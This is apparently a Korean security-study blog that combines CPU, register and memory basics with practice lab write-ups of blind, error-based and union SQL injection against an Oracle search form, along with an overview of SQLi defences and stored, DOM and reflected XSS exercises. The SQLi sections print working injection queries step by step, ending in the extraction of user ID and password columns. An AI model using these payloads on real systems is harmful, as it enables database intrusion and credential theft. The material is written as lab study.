• 컴퓨터 언어
  • CPU와 레지스터
  • 메모리 구조

컴퓨터 언어


사람과 컴퓨터가 대화하기 위해 프로그래밍 언어를 사용하나 컴퓨터는 실제 소스 코드를 이해하지 못하기 때문에 내부적으로 컴파일을거쳐 CPU가 이해할 수 있는 기계어로 대화한다.  

int sum(int a, int b) {
	return a + b;
}

int minus(int a, int b) {
	return a - b;
}

int main() {
	int x = 1;
	int y = 2;
	printf("sum: %d\n", sum(x, y));
	printf("minus: %d\n", minus(x, y));
}

*간단한 덧셈, 뺄셈 프로그램 소스코드

 

이 소스는 컴파일 과정을 거친 후 아래와같이 기계어로 번역된다. 

번역된 기계어 코드

프로그램이 실행되는 EntryPoint로 call 함수를 통해서 sum, minus 함수를 불러오는 것을 볼 수 있다.

 

CPU와 레지스터


CPU

CPU는 인간으로 따지면 뇌에 해당하는 부분이다. CPU는 연산 장치, 제어 장치, 레지스터로 구성된다. 

  • 연산 장치(ALU): 수칙연산, 논리연상 등의 수학적 연산을 담당한다.
  • 제어 장치(CU): 메모리에서 기계어 코드를 읽고 해석한 뒤 실행하는 역할을 담당한다.
  • 레지스터: 연산을 위해 CPU가 사용하는데이터 저장소로, 주로 메모리의 특정 주소 또는 특정 값을 저장한다.      

레지스터

명령어를 실행하기 위해 필요한 데이터와 상태, 명령어를 저장하는 공간이다. CPU  내부에 존재하며, 기억 장치 중 가장 빠르며 용량이 작다. 레지스터는 범용 레지스터, 명령어 포인터, 세그먼트 레지스터, 플래그 레지스터 등이 있다. 다음과 같은 그림의 구조로 이루어져있다.

32bit 레지스터 구조

레지스터 역할
EAX 산술 계산 및 리턴 값전달에 사용되며, 가장 자주 사용된다. 
EBX 범용적으로 사용 가능한 추가적인 레지스터이다.
ECX 일반적으로 반복문이나 문자열 복사 시카운트에 사용된다. 
EDX EAX와 비슷하게 주로 연산에 사용된다.
ESI 주로 문자열 메모리 값을 복사할 때 원본 주소를 가리킨다.
EDI 주로 문자열 메모리 값을 복사할 때 목표 주소를 가리킨다.
EBP 스택 프레임시작 주소가 저장된다. 
ESP 스택프레임의 끝 지점이 저장된다. 
EIP 다음에 실행할 명령어의 주소가 저장된다.
세그먼트 레지스터 각 세그먼트의 오프셋이 저장된다.
플래그 레지스터 연산 결과에 따라 다양한 상태 값을 표시한다. 

 

메모리 구조


모든 프로그램은 실행하기 전에 메모리에 로드되어야 하며, 취약점이 발생하는곳도 메모리이며 취약점에 대한 공격이 이루어지는 곳도 메모리이다.윈도우의 메모리 구조는 32bit의 경우 기본적으로 프로세스별로 4GB로 구성된다. 이 큰 용량을 활용하기 위해 윈도우 운영체제는 가상 메모리를 사용한다. 유저영역 2GB, 커널 영역 2GB로 총 4GB의 독립된 메모리 공간을 가지고 있으며, 실제로 커널영역 2GB는 모든 프로세스가 공유한다.  메모리는 크게 스택, 힙, PE, DLL, 공유영역이 존재하며 다음과 같이 표현할 수 있다.이 때, 스택의 경우는 높은 주소에서 낮은 주소로, 힙 메모리는 낮은 주소에서높은 주소로 할당된다. 

프로세스 메모리 할당

 

Blind SQL Injection 


Step 1. Blind SQL Injection을 이용하여 테이블 개수 확인

Query
영등포동8%' and (select count(table_name) from all_tables)>110--

다음과 같은 쿼리를 통해서 테이블의 개수를 확인할 수 있다. ‘and’를 사용해서 다음 값이 참값이면 영등포동8을 조회하게 되고 거짓이 되면 아무값도 뜨지 않게된다. 110일 때 출력되고 111이 되는 순간 출력이 안되는것으로 보아 111개인 것을 확인할 수 있다.

 

Step 2. 50번째 테이블 이름 길이 확인

Query
영등포동8%' and length((select table_name from (select table_name, rownum as rnum from all_tables) where rnum=50)) > 20--

다음과 같이 length을 사용해서 50번째 테이블의 문자열 길이를 확인했다. 20번째까지 결과가 나오는 것을 보아 문자열 길이는 21이다.

 

Step 3-1. 50번째 테이블 이름 확인

Query
영등포동8%' and (ASCII(substr((select table_name from(select table_name, rownum as rnum from all_tables) where rnum=50),1,1))>78)--

 

다음과 같이 쿼리를 입력하면 입력하는 RNUM의 번호번째에 있는 테이블을 확인할 수 있다. substr(string,1,1)으로 하면 첫번째 문자, substr(string,2,1)을 하게 되면 두번째 문자, 이렇게 숫자를 증가시키면서 문자를 합쳐 테이블 이름을 가진 문자열을 생성할 수 있다. 하나씩 확인하게 되면 다음과 같은 문자열을 얻을 수 있다.

다음과 같은 테이블 이름을 얻을 수 있다.

Query
영등포동8%' and (select table_name from(select table_name, rownum as rnum from all_tables) where rnum=50)='OGIS_GEOMETRY_COLUMNS'--

다음과 같은 쿼리를 넣으면 참값이므로 결과값이 맞다는 것을 확인할 수 있다.

테이블 이름: OGIS_GEOMETRY_COLUMNS

 

Step 3-2. Burp suite Intruder사용

Blind SQL Injection의 경우 하나씩 확인해야하는 어려움이 있기 때문에 시간이 무척 오래걸린다. 그래서 Burpsuite에 있는 intruder을 사용하여 결과를 확인할 수도 있다. 다음과 같이 실행하면 영등포동이 출력이 안되는 순간 Intruder Length가 작게 나온다.

위의 그림에서 Payload2를 문자로 바꾸면 결과값이 나오게 된다.

테이블명: OGIS_GEOMETRY_COLUMNS

 

Step 3-3. Burp suite Intruder사용

다음과 같이 Python 코드를 작성하여도 결과 출력이 가능하다. Burpsuite로 잡은 헤더값을 넣어야 한다.

 

'웹 보안 > SQLi' 카테고리의 다른 글

Error-Based SQL Injection 실습  (0) 2025.05.08
Union SQL Injection 실습  (0) 2025.05.08
SQL Injection(SQLi)  (0) 2025.04.07

 

Error-Based SQL Injection


Step 1. ErrorBased SQL Injection을 이용하여 테이블 개수 확인

Query
영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT COUNT(TABLE_NAME) FROM ALL_TABLES))=1--

다음과 같은 쿼리를 입력하면 테이블 개수 확인이 가능하다. CTXSYS.DRITHSX.SN과 같이 Error Based SQL Injection에 취약한 함수 사용이 가능할 경우, 에러 메시지로부터 데이터베이스 정보를 얻을 수 있다.

CTXSYS.DRITHSX.SN을 이용하여 테이블 개수를 에러로 받을 수 있다.

 

Step 2. 테이블 이름 확인

Query
영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM as RNUM from ALL_TABLES) WHERE RNUM=1))=1--
영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM as RNUM from ALL_TABLES) WHERE RNUM=60))=1--

내부에 SELECT TABLE_NAME, ROWNUM as RNUM from ALL_TABLES 쿼리를 이용해서 각각 TABLE_NAME마다 ROWNUM을 붙여 RNUM에 따라 테이블 이름을 출력하는 쿼리다. ROWNUM as RNUMROWNUM RNUM으로 대체하는 것이다.

 

다음과 같이 쿼리를 입력하면 입력하는 RNUM의 번호의 따라 테이블명을 에러로 받을 수 있다.

RNUM을 증가시키다보면 60번째에 LHSMEMBER3이라는 테이블명을 얻을 수 있다.

 

Step 3. 컬럼 개수 확인

Query
영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT COUNT(COLUMN_NAME) FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='LHSMEMBER3'))=1--

LHSMEMBER3” 테이블의 컬럼 개수를 확인하기 위해서 COUNT를 이용하였다.

 

Step 4. 컬럼 이름 확인

Query
영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM as RNUM FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='LHSMEMBER3') WHERE RNUM=13))=1--
영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM as RNUM FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='LHSMEMBER3') WHERE RNUM=14))=1--

TABLE_NAME을 얻어내는 방법과 같은 방법으로, 다음 쿼리를 이용해서 LHSMEMBER3의 컬럼을 얻어내는 방법이다.

 

RNUM을 바꿔가며 컬럼이름을 확인해보면 13, 14번째에 각각 PW, ID이름을 한 컬럼을 확인할 수 있다.

 

Step 5. 데이터 개수 확인

Query
영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT COUNT(ID) FROM LHSMEMBER3))
=1--

COUNT(ID)를 통해서 데이터 개수 확인 가능하다.

 

Step 6. ID, PW 확인

Query
영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT ID ||', '|| PW FROM (SELECT ID, PW, ROWNUM AS RNUM FROM LHSMEMBER3) WHERE RNUM=1))=1--

다음과 같이 RNUM값을 바꿔가며 ID PW 값을 출력할 수 있다. ||’을 통해서 문자를 서로 연결 할 수 있다. (CONCAT 활용 가능)

'웹 보안 > SQLi' 카테고리의 다른 글

Blind SQL Injection 실습  (0) 2025.05.08
Union SQL Injection 실습  (0) 2025.05.08
SQL Injection(SQLi)  (0) 2025.04.07

 

 

Union sql injection


Step 1. SQL Injection 동작 여부 확인

Query
0’ or 1=1--

다음 쿼리는 SQL Injection 이 적용이 되는지 확인할 수 있는 쿼리다. 각각의 SQL마다 문법이 다르기 때문에 쿼리는 조금씩 바뀐다.

쿼리를 입력하게 되면 모든 우편번호 리스트가 전부 출력이 되는 것을 확인할 수 있다. 이를 통해서 SQL 쿼리문이 먹히는 것을 확인할 수 있고, 어떤 회사의 SQL을 사용하는지 추측할 수 있다.

 

step 2. Union SQL Injection으로 컬럼 개수 확인

Query
영등포동8%’ ORDER BY 4 --
영등포동8%’ UNION SELECT NULL, NULL, NULL, NULL FROM ALL_TABLES --
영등포동8%’ ORDER BY 3 --
영등포동8%’ UNION SELECT NULL, NULL, NULL ROM ALL_TABLES --

 

[컬럼 개수 불일치 시]

[컬럼 개수 일치 시]

union select 쿼리문을 이용해서 ORDER BY를 이용하거나, 컬럼을 NULL로 채워 개수를 확인 가능하다. ORDER BY를 이용하여 3를 입력하거나 NULL 3개 입력하게 되면 올바르게 출력되지만 그 외의 값을 넣으면 에러가 발생한다.

 

Step 3. 컬럼 데이터 타입 확인

Query
영등포동8%' UNION SELECT NULL, '123', '456' FROM ALL_TABLES --

”, “주소에 해당하는 컬럼이 문자열로 받는다는 것을 확인할 수 있음. NULL은 어떤 데이터 타입에도 사용 가능하지만 우편번호의 경우에 문자열을 넣게 되면 에러가 발생하게 된다.

 

Step 4. 테이블명 확인

Query
영등포동8%' UNION SELECT NULL, TABLE_NAME, NULL from ALL_TABLES --

문자열이 입력 가능한 부분에 TABLE_NAME을 출력할 수 있다.

Oracle SQL의 기본 명령어인 ALL_TABLES TABLE_NAME을 이용해서 테이블의 정보를 추출할 수 있다.

 

Step 5. 의심되는 테이블의 컬럼 추출

Query
영등포동8%' union SELECT NULL, COLUMN_NAME, NULL FROM ALL_TAB_COLUMNS where table_name='LHSMEMBER3'--

 

“LHSMEMBER3” 테이블의 컬럼을 확인해봤을 때, ID PW가 적혀있는 컬럼명을 확인할 수 있음.

 

Step 6. ID PW 확인

Query
영등포동8%' UNION SELECT NULL, ID, PW FROM LHSMEMBER3 --

NULL 칸을 제외한 문자열을 사용할 수 있는 칸에서 ID PW를 출력하는 쿼리이다.

다음과 같이 입력을 하게 되면 칸에 ID주소칸에 PW를 출력할 수 있다. PW의 경우에는 암호화 되어있는 것을 확인할 수 있음.

'웹 보안 > SQLi' 카테고리의 다른 글

Blind SQL Injection 실습  (0) 2025.05.08
Error-Based SQL Injection 실습  (0) 2025.05.08
SQL Injection(SQLi)  (0) 2025.04.07

SQL Injection이란?

SQL Injection은 클라이언트 입력값에 의도하지 않은 쿼리를 임의로 삽입하여 악의적인 SQL 구문을 실행하는 공격이다. 해당 취약점으로 공격자는 데이터베이스에 직접적으로 접근해 중요 정보를 조회, 탈취할 수 있다. 인젝션 공격은 OWASP TOP10에 항상 속해있고 주요정보통신기반시설 기술적 취약점 분석 가이드에도 나오는 중요한 해킹 기법이다.

정상적인 접근

id와 pw를 입력하게 되면, 데이터베이스에서 "user01"이라는 사용자를 조회하여 실행결과를 반환하여 로그인에 성공하게 된다.

비정상적인 접근

id를 다음과 같이 입력하게 되면, 데이터베이스에서 id 부분에 "admin' or '1'='1"이라는 값이 들어가 해당 쿼리가 정상적으로 작동하고 admin을 조회하게 되어 admin으로 로그인이 성공하게 된다.

 

 

SQLi 종류


Union SQL Injection

SQL 문법인 union 키워드를 이용해서 쿼리 2개를 요청해서 내부 데이터를 얻어내는 공격 기법이다. 원래 SQL 쿼리 요청문에 union으로 한개의 쿼리를 추가해서 정보를 추가해 얻어내는 것이 목적이다. 보통 검색 또는 게시글 페이지 등 데이터베이스에 저장된 데이터가 보이는 경우 사용된다.

 

Error-Based SQL Injection

에러를 직접적으로 발생시켜 정보를 얻어내는 방법이다. 에러는 문법 에러와 로직 에러가 있는데, Error Based SQLi에서는 로직 에러를 사용한다. 로직 에러는 사용자가 의도한 작업을 프로그램에서 수행하지 못하는 에러이다. sql문에는 오류가 없어서 실행될 수 있지만 결과가 개발자의 의도와 다르게 나오는 경우이다.

 

Blind SQL Injection

데이터베이스 에러 메시지나 데이터가 직접적으로 노출되지 않을 때 사용하는 공격 기법이다. union, Error Based SQLi가 먹히지 않을 때 최후의 방법이다. sql문의 결과가 참 또는 거짓에 따라 서버의 응답이 달라지는 경우에 사용되며, 공격자는 참/거짓 여부로 공격의 성공 여부를 판단한다. 대표적으로 로그인 성공 or 실패를 알려주는 로그인 페이지가 있다.

공격을 진행할 때 참/거짓으로 결과가 나오기 때문에 데이터베이스 이름, 테이블 이름, 컬럼 이름, 저장된 데이터 순서대로 한글자씩 sql문을 변경하며 정보를 얻어야 한다. 따라서 시간이 오래걸릴 수 있기 때문에 자동화가 필수이다.

 

 

대응방안

  • Prepared Statement를 사용한다. Prepared Statement란 구문 분석 과정을 수행하여 생성된 결과를 컴파일하여 메모리에 저장하는 방법이다. 사용자 입력값을 변수로 선언하여 미리 컴파일된 SQL 구문에 대입하기 때문에 SQL 문법에 영향을 미치지 않는다.
  • Prepared Statement가 불가능 할 경우 화이트 리스트기반 필터링을 진행해야한다. 안전한 문자열을 정의하고 정규표현식 등으로 패턴화 하는것이 유용하다.  

'웹 보안 > SQLi' 카테고리의 다른 글

Blind SQL Injection 실습  (0) 2025.05.08
Error-Based SQL Injection 실습  (0) 2025.05.08
Union SQL Injection 실습  (0) 2025.05.08

 

Stored XSS


Step 1. Stored XSS 적용확인

<script>alert(1)</script>를 이용해도 다음과 같이 alert가 뜨지 않고 아무런 정보가 작성이 되지않는다. 하지만 스크립트가 보이지 않는다.

 

Step 2. Stored XSS 코드 확인

코드를 보면  <blockquote>를 이용해서 메시지를 중간에 삽입하고 있다. 이를 우회하면 된다.

 

Step 3. 스크립트 코드 실행

 

<input type=text onClick=alert(1);>을 이용하면 쉽게 alert를 띄울 수 있다. 그 밖에도 <img src="aaa" onerror="alert(1)"> 등을 이용할 수 있다.

 

DOM Based XSS


Step 1. DOM Based XSS

img1, img2, img3 버튼을 클릭하면 다음 사진이 Image1, Image2, Image3로 바뀐다.

 

Step 2. 코드 확인

코드를 보면 다음과 같은데 chooseTab function에서 이미지 번호가 들어가고 그 이미지 주소를 띄우는 것을 볼 수 있다. 다음을 이용해서 공격을 진행할 수 있다.

 

Step 3. 스크립트 코드 삽입

위의 URL에 다음과 같이 입력을 하면 iu1.jpg가 나오고 추가로 작성한 문자열이 나오는 것을 볼 수 있다. 이곳에 다음과 같은 script를 작성을 하였다. 3.jpg'><script>alert(1);</script>

다음과 같이 출력이 되었다.

 

 

Reflected XSS


Step 1. XSS 문제 확인

팬클럽 “가입하기”를 누르면 다음과 같은 이메일 입력과 “다음으로” 링크가 출력된다.

 

Step 2. 코드 확인

코드를 확인해보면 confirm.html 링크로 통하게 되어있고 url에 작성하게 되어있다. 하지만 JSTL은 특수문자가 자동 치환되어 <script>를 사용할 수 없게 된다.

 

Step 3. 스크립트 실행

<,>,,’ 등을 사용할 수 없으니 <script>를 사용할 수 없으니 이를 대체하기 위해 javascript:alert(1)을 사용하여 “다음으로” 링크를 누르면 스크립트가 실행이 된다.

'웹 보안 > XSS' 카테고리의 다른 글

XSS(Cross-Site Scripting) 정의 및 대응방안  (0) 2025.03.17

+ Recent posts